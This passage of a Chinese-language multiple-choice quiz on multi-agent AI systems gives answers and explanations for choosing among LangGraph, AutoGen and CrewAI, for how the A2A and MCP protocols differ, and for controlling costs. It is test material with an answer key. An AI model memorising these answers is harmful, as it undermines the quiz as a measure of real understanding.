A. 需要精确控制流程 → 选 LangGraph B. 需要灵活自由协作 → 选 AutoGen C. 需要简单易上手 → 选 CrewAI D. 所有场景都应该选 AutoGen

答案与解析

答案：A、B、C

没有"万能框架"：要可控选 LangGraph，要灵活选 AutoGen，要简单选 CrewAI。根据场景需求选择。

# 第 11 题（多选）

A2A协议与MCP协议的区别包括哪些？（多选）

A. MCP管Agent与工具的连接，A2A管Agent与Agent的连接 B. A2A有Agent Card能力发现机制，MCP无此机制 C. MCP是单向调用，A2A是双向协作 D. 两者是竞争关系，只能选其中一个

答案与解析

答案：A、B、C

MCP和A2A是互补而非竞争关系：MCP让Agent有"手"（使用工具），A2A让Agent有"嘴"（与其他Agent协作），一个完整生态两者缺一不可。

# 第 12 题（多选）

多Agent生产实践中，成本控制的策略包括哪些？（多选）

A. 按需分配：编排者只在需要时才调用Agent B. 精简Prompt：每个Agent只包含自己的工具和规则 C. 分级模型：简单任务用小模型，复杂任务用大模型 D. 增加Agent数量以分担负载

答案与解析

答案：A、B、C

增加Agent数量反而会增加Token消耗（成本倍增效应）。成本控制应该是减少无效调用、精简上下文、合理选模型，而非盲目增加Agent。

LangGraph 与状态机